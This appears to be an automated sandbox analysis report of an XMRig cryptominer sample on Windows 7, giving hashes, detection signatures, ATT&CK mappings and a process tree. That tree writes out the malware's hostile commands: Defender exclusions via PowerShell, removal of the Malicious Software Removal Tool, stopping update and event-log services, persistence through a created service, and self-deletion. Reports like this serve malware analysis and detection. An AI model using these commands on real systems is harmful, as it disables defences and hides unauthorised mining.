xmrig | c5281d3c0d721db16bdaea7a4bec369d95cd47a1ad24c0a1729695b3c56f2359

Analysis

max time kernel
150s
max time network
127s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
11/05/2024, 03:17

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General

Target

69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
Size

5.2MB
MD5

69d8eea58331a30869845a6c332a4d20
SHA1

9a020ad0528042ad7da228d0b461cec8979c6907
SHA256

c5281d3c0d721db16bdaea7a4bec369d95cd47a1ad24c0a1729695b3c56f2359
SHA512

95efcbfb9a25db9d691116afb9017904cf2f7a38995e1d450f4684e0f2d68ef471e02318d873af356452b53d5e701795130095a1a24d193399c62d923b8891d1
SSDEEP

98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/2756-33-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2756-36-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2756-39-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2756-40-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2756-38-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2756-37-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2756-34-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2756-41-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2472	powershell.exe
2716	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Deletes itself 1 IoCs

pid	Process
1184	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
468	Process not Found
2480	fqwofdtexigy.exe

Loads dropped DLL 1 IoCs

pid	Process
468	Process not Found

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2756-29-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-33-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-36-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-39-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-40-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-38-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-37-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-34-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-32-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-31-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-30-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-28-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2756-41-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	fqwofdtexigy.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2480 set thread context of 1760	2480	fqwofdtexigy.exe	85
PID 2480 set thread context of 2756	2480	fqwofdtexigy.exe	87

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1656	sc.exe
2668	sc.exe
2392	sc.exe
1528	sc.exe
2560	sc.exe
1176	sc.exe
1216	sc.exe
1624	sc.exe
1920	sc.exe
852	sc.exe
2324	sc.exe
2404	sc.exe
1724	sc.exe
1440	sc.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70dc08d951a3da01	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2472	powershell.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2264	69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
2480	fqwofdtexigy.exe
2716	powershell.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2480	fqwofdtexigy.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe
2756	nslookup.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeShutdownPrivilege	2452	powercfg.exe
Token: SeShutdownPrivilege	2504	powercfg.exe
Token: SeShutdownPrivilege	2856	powercfg.exe
Token: SeShutdownPrivilege	2820	powercfg.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeShutdownPrivilege	1308	powercfg.exe
Token: SeShutdownPrivilege	3000	powercfg.exe
Token: SeShutdownPrivilege	820	powercfg.exe
Token: SeShutdownPrivilege	1268	powercfg.exe
Token: SeLockMemoryPrivilege	2756	nslookup.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 2620	2516	cmd.exe	34
PID 2516 wrote to memory of 2620	2516	cmd.exe	34
PID 2516 wrote to memory of 2620	2516	cmd.exe	34
PID 1184 wrote to memory of 2468	1184	cmd.exe	61
PID 1184 wrote to memory of 2468	1184	cmd.exe	61
PID 1184 wrote to memory of 2468	1184	cmd.exe	61
PID 1924 wrote to memory of 2284	1924	cmd.exe	69
PID 1924 wrote to memory of 2284	1924	cmd.exe	69
PID 1924 wrote to memory of 2284	1924	cmd.exe	69
PID 2480 wrote to memory of 1760	2480	fqwofdtexigy.exe	85
PID 2480 wrote to memory of 1760	2480	fqwofdtexigy.exe	85
PID 2480 wrote to memory of 1760	2480	fqwofdtexigy.exe	85
PID 2480 wrote to memory of 1760	2480	fqwofdtexigy.exe	85
PID 2480 wrote to memory of 1760	2480	fqwofdtexigy.exe	85
PID 2480 wrote to memory of 1760	2480	fqwofdtexigy.exe	85
PID 2480 wrote to memory of 1760	2480	fqwofdtexigy.exe	85
PID 2480 wrote to memory of 1760	2480	fqwofdtexigy.exe	85
PID 2480 wrote to memory of 1760	2480	fqwofdtexigy.exe	85
PID 2480 wrote to memory of 2756	2480	fqwofdtexigy.exe	87
PID 2480 wrote to memory of 2756	2480	fqwofdtexigy.exe	87
PID 2480 wrote to memory of 2756	2480	fqwofdtexigy.exe	87
PID 2480 wrote to memory of 2756	2480	fqwofdtexigy.exe	87
PID 2480 wrote to memory of 2756	2480	fqwofdtexigy.exe	87

C:\Users\Admin\AppData\Local\Temp\69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2264
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2620
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1656
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2560
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2404
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1724
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2392
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2452
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2504
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "JVNIRHNX"
  2⤵
  - Launches sc.exe
  PID:2668
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:1440
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:1216
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "JVNIRHNX"
  2⤵
  - Launches sc.exe
  PID:1176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69d8eea58331a30869845a6c332a4d20_NeikiAnalytics.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2468

C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2284
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1920
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2324
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:852
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1528
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1624
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1308
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1268
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3000
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:820
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1760
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

Filesize
5.2MB

MD5
69d8eea58331a30869845a6c332a4d20

SHA1
9a020ad0528042ad7da228d0b461cec8979c6907

SHA256
c5281d3c0d721db16bdaea7a4bec369d95cd47a1ad24c0a1729695b3c56f2359

SHA512
95efcbfb9a25db9d691116afb9017904cf2f7a38995e1d450f4684e0f2d68ef471e02318d873af356452b53d5e701795130095a1a24d193399c62d923b8891d1

Download Submit
memory/1760-19-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1760-20-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1760-21-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1760-22-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1760-26-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1760-23-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2472-12-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2472-4-0x000007FEF5A2E000-0x000007FEF5A2F000-memory.dmp

Filesize
4KB

Download
memory/2472-11-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2472-10-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2472-9-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2472-8-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2472-7-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2472-6-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2472-5-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2716-17-0x0000000019A40000-0x0000000019D22000-memory.dmp

Filesize
2.9MB

Download
memory/2716-18-0x0000000000940000-0x0000000000948000-memory.dmp

Filesize
32KB

Download
memory/2756-35-0x00000000001B0000-0x00000000001D0000-memory.dmp

Filesize
128KB

Download
memory/2756-37-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-29-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-36-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-39-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-40-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-38-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-33-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-34-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-32-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-31-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-30-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-28-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2756-41-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download